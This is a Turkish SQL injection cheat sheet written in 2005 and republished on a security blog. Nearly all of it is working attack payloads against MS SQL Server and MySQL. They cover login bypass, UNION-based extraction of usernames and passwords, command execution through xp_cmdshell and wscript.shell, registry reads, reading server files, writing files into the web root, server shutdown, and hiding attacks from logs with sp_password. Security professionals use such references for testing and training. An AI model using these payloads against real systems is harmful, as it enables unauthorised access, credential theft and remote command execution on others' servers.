Türkçe SQL Injection Referansı

2-4-2008

Bildiğiniz üzere büyük bir SQL Injection Cheat Sheet dokümanını sitede uzun zamandır sürdürüyorum, bugün bilgisayarda bazı dokümanları ararken 2005' ten kalma hazırladığım Türkçe SQL Injection referans dokümanını buldum. Tekrar sabit diskin karanlık sularına gömülmeden sitede yayınlamak istedim. Bunun harici ORACLE SQL Injection Cheat Sheet' i de daha önceden yayınlamıştım.

Ek olarak eğer SQL Injection hakkında yeterli bilginiz yoksa, daha önceden yazdığım SQL Injection Videoları ve Makalelerini okuyabilir ve izleyebilirsiniz.

  1. SQL Injection Derslerine Giriş
  2. SQL Injection' a Giriş ve SQL Injection Nedir?
  3. SQL Injection Videosu
  4. Başka bir kullanıcı olarak giriş yapma
  5. SQL Injection Test Laboratuarı Kurma
  6. SQL Injection neden dolayı oluşur ve Nasıl Korunulur?
  7. SQL Injection' dan Korunma Videosu

 

Bu da Türkçe SQL Injection Cheat Sheet' in online versiyonu. Bazı notları ingilizce almışım, kusura bakmayın o konuda.

SQL Injection için kısa referans

Ferruh Mavituna, 2005-06-10

Ön Bilgi

Bir çok teknik sadece SQL Server’ da çalışacaktır.

Referans

  1. “--“ SQL Cümleciğini sonlandırır (bu sayede arkadan gelen cümlecik handle edilmek zorunda kalmaz)
  2. “;” İkinci SQL cümleciğinin çalışmasına izin verir

Login Screen

  1. Login olabilme
    • admin’ –
    • ‘ or 1=1—
    • ...
  2. Farklı bir kullanıcı olarka login olma
    • ‘ union select 1, ‘diger_user’, ‘birseyler_sifre’, 1--

Hatalardan İlerleme (yapıyı oluşturma I)

Sırasıyla..

  1. ‘ having 1=1 –
  2. ‘ group by hatadangelen.id having 1=1—
  3. ‘ group by hatadangelen.id, gelenikinci.id, üçüncü.id having 1=1—(böyle gider)
  4. Hata almayı bitirince tablo bitti demektir.
  5. Ek olarak order by ile de union da kaç kolon çekildiği bulunabilir.
    • ORDER BY 1—
    • ORDER BY 2—

c. bu şekilde ilerlenir. Hata verdiği yer – 1 çekilen kolon sayısını gösterir.

Data Tiplerini Bulma (yapıyı oluşturma II)

  1. Always use UNION with ALL because of image similiar non-distinct field types. By default union tries to get records with distinct.
  2. ‘ union select sum(tipibulunacakalan) from users
    Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
    [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
  3. Hata kodu bize verdiğimiz alanin varchar olduğunu söyledi.
  4. Eğer hata kodu union işlemi ile ilgiliyse yada hata gelmiyorsa verdiğimiz alan numeric demektir.
  5. Union işlemlerde NULL kullanılabilir date, integer, string in 3 tipinde de bu geçerli sonuç verecektir.
    • 11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-
      No Error - Syntax is right. MS SQL Server Used. Proceeding.
    • 11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-
      No Error – First column is an integer.
    • 11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 –-
      Error! – Second column is not an integer.
    • 11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –-
      No Error – Second column is a string.
    • 11223344) UNION SELECT 1,’2’,3,NULL WHERE 1=2 –-
      Error! – Third column is not an integer. ...
  6. Convert ve Errorlar ile field tipi bulma - convert(image,1)
    • SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL—
    • Microsoft OLE DB Provider for SQL Server error '80040e07'
      Explicit conversion from data type int to image is not allowed.
    • You’ll get convert() errors before union target errors ! So start with convert() then union

Data Ekleme

Sistem Hakkında Bilgi Toplama

Data convert işlemlerinde SQL Server detaylı hata mesajları döndürür;

Data Alma

  1. ' union select min(username),1,1,1 from users where username > 'admin'--
    Users tablosundaki username’ e integerlara uygulanan min() denediğinden ve string i de çekmiş olduğundan hata mesajı olarak çekilmiş olan username gelecektir.
  2. ' union select password,1,1,1 from users where username = 'admin'—
    Bir önceki işlemde bulduğu username i direk union ile getiriyor
  3. ‘ Union All Select 1,1,1,1 FROM SysObjects WHERE ‘=’
  4. User defined Tables
    SELECT name FROM sysobjects WHERE xtype = ‘U’
  5. Field Getirme
    SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = ‘ORDERS’)
  6. Record ilerletme
    WHERE users NOT IN (‘First User’, ‘Second User’)
  7. Record ilerletme 2
    Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype='U' and i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = 'U') as p where p.x=21

Advanced Yöntemler

T-SQL ile bir tablodaki tüm datayı tek string haline getirip yeni bir temp tabloya insert etmek ve daha sonradan onu almak.

set @ret=':'
select @ret=@ret+' '+username+'/'+password from users where username>@ret
select @ret as ret into foo
end

The attacker 'logs in' with this 'username' (all on one line, obviously…)

  1. Username: '; begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username>@ret select @ret as ret into foo end—
  2. ' union select ret,1,1,1 from foo--
    convert hatası alacağından dolayı direk az önce insert edilen stringleri getirir.
  3. Teoriye göre eğer SQL Server Local System Account’ ı ile çalışıyorsa regread ile SAM account’ u okunabilir. Default! (xp_regread)
  4. Linked serverlarda query çalıştırılabilir (openquery)
  5. Custom Stored Procedure’ ler ile SQL Server Process’ i içerisinden exploit yazılıp çalıştırabilir. (sp_addextendedproc)
  6. Bulk Insert ile serverdaki herhangi bir dosya okunabilir
    • create table foo( line varchar(8000) )
    • bulk insert foo from 'c:\inetpub\wwwroot\process_login.asp'
    • Şimdi data bu yeni tablodan okunabilir, sonrada tablo drop edilebilir
  7. Text dosyası yazma (BCP – Login bilgisi gerekli)
    bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar
  8. “sa” olarak login olduk mu?
    if (select user) = 'sa' waitfor delay '0:0:5'
  9. ActiveX desteğinden dolayı scripting kullanılabilir (VBS, WSH)
    wscript.shell example
    declare @o int
    exec sp_oacreate 'wscript.shell', @o out
    exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
    Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' --
  10. SQL Server’ı konuşturma (maymunluk olsun diye yapılabilir)
  11. Tırnak Kullanmadan SQL Yazmak
    insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)
    veya sadece numerik değerler ile data girilebilir

    insert into users values( 667, 123, 123, 0xffff)
    SQL Server integerları otomatik olarak varchar a çeviriyor.
  12. Xx.asp?p=xx’; EXEC master.dbo.xp_cmdshell ‘cmd.exe dir c:’

Özel Tablolar

  1. Hata Mesajları
    select * from master..sysmessages
  2. Linked Serverlar (openquery fonskiyonunu login olmadan kullanilabilir eger ki sp_addlinkedsrvlogin kullanıldıysa)
    master..sysservers
  3. Şifreler, Loginler
    master..sysxlogins

Tablo / Server Modifikasyon

Functions

  1. SQL Server’ ı kapa (shutdown)
    ‘; shutdown—
  2. Bekleme (waitfor delay)
    Bir şeyin pasif/gizli olarak çalışıp çalışmadığını anlamak için
    waitfor delay '0:0:10'—
    kullanımı çok verimlidir. Belirtilen süre kadar bekler. Bu sayede çeşitli kontroller yapılabilir yada basitçe harmless bir şekilde eklenen SQL cümleciklerinin gerçekten çalışıp çalışmadığı kontrol edilebilir.

Atak Gizleme

SQL Server sp_password içeren SQL Querylerini güvenlik nediyle loglamıyor. Bu durumda her çalıştırılan komut ardından ‘–sp_password demek onun gizlenmesi için yeterli. Bu sayede bir log oluşsa da içeriği oluşmuyor.

SQL Injection Tespiti

Normalde SQL Injection basit şekilde tek tırnak (‘) vs. Koyarak çıkan hataya göre tespti edilebilir. Ancak bazı uygulamaları hataları gizleyebilir, yada siz arkadaki yada hata olduğunda direk varsayılandan devam etme gibi özelliklere sahip olabilir. Bunun yanında bir diğer kritik sorunsa bir sistemde ne kadar çok hata verdirtirseniz bir analizde o kadar çok takip edilebilirsiniz.

Ek olarak software based server da çalışan web firewall ları genelde pattern olarak (Snort gibi IDS lerde bu şekilde) status code larında “500” veya benzer hata kodlarını eklerler genelde bir çok “200“ status kodu dertsiz olarak bu filtreleri geçebilir. Daha sonradan olayın trace noktasında da bu bir kolaylıktır.

Bu noktada daha önceden bahsi geçen “waitfor delay” kullanışlı bir fonksiyondur. Ek olarak daha da pratik mantık SQL ün aynı işi yapmasını sağlayan queryler oluşturmaktır, ama tabii ki tırnak yada SQL de çalışacak fonksiyonlar kullanarak.

  1. product.asp?id=4
    • product.asp?id=5-1
    • product.asp?id=4 OR 1=1
  2. product.asp?name=Book
    • product.asp?name=Bo’+’ok
    • product.asp?name=Bo’ || ’ok (ORACLE)
    • product.asp?name=Book’ OR ‘x’=’x

Stored Procedures

  1. Cmd Execute (xp_cmdshell)
    exec master..xp_cmdshell 'dir'
  2. Registry İşlemleri (xp_regread)
    Registry’ e yazma okuma vs. İşlemleri.
    • xp_regaddmultistring
    • xp_regdeletekey
    • xp_regdeletevalue
    • xp_regenumkeys
    • xp_regenumvalues
    • xp_regread
    • xp_regremovemultistring
    • xp_regwrite
      exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'
      exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'
  3. Servisleri Kontrol Etmek (xp_servicecontrol)
  4. Sistemdeki Medyaları Görme (xp_availablemedia)
  5. Directory Tree sini alma (xp_dirtree)
  6. ODBC Resourceları Listeleme (xp_enumdsn)
  7. Login modeunu bulma (xp_loginconfig)
  8. Cab Arşiv Oluşturma (xp_makecab)
  9. Domainleri Bulma (xp_ntsec_enumdomains)
  10. PID ile process terminate etme (xp_terminate_process)
  11. Yeni Strored Procedure Ekleme (istenilen kod SQL Server process içerisinde çalıştırılabilir)
    sp_addextendedproc ‘xp_webserver’, ‘c:\temp\x.dll’
    exec xp_webserver
  12. Stored Procedure Silme (sp_dropextendedproc)
  13. Dışarıya UNC dahil dosya yazma (sp_makewebtask)

Other

MySQL Injection

MySQL (Custom) Functions & UDF

MySQL Samples

  UPDATE user
  SET Password=PASSWORD('crack')
  WHERE user='root';
  FLUSH PRIVILEGES;

MySQL Load_File

MySQL Load Data Infile

Timing & Blind MySQL Injection

Stored Procedure Injection

  1. Eğer SQL bir şekilde ASP ile unsafe parametrelerle oluşturulup gönderiliyorsa bu güvenli değildir. Stored Procedure olsa bile.
  2. Eğer parametrelerde ADO Command gibi bir şeyler ile gönderiliyorsa ve doğru implemente edildiyse güvenlidir.
    sp_who '1' select * from sysobjects
    or
    sp_who '1'; select * from sysobjects

Second Order SQL Injection

Zor bir metod, temel olarak arda arda birbirinin datasının kullanan SQL’ lerde kullanılabilir. Temel boşluk bu tip yerlerde ikinci SQL birinci SQL den datayı aldığından ona gözü kapalı güvenmesidir yani gelen data kullanıcıdan değil de aplikasyondan geldiğinden tekrar kontrol edilmez genelde.

  1. Bir sistemde yeni kullanıcı şu şekilde oluşturulur;
    Username: admin'--
    Password: password
  2. Bu şu Insert’ i çalıştırır;
    insert into users values( 123, 'admin''--', 'password', 0xffff )
  3. Şifre değiştirme ekranındaki durum şu şekilde olacaktır;
    Kontrol;
    var sql = "select * from users where username = '" + username + "' and password = '" + oldpassword + "'";
  4. Şifre Update işlemi;
    sql = "update users set password = '" + newpassword + "' where username = '" + rso("username") + "'"
    Bu adımda bir önceki SQL dönen username direk kullandığında filtreden geçemeyeceğinden direk olarak şu SQL çalışmış olacaktır;
    update users set password = 'password' where username = 'admin'--'
    Bu da admin şifresinin istenilen şifreye değiştirecektir.

Second Order Insert SQL Injection

Form dolurulurken şu şekilde doldurulur;

Name : ‘ + (SELECT TOP 1 password FROM users ) + ’

Email : xx@xx.com vs...

Notes

References

Recent Blog Posts

See all of the blog posts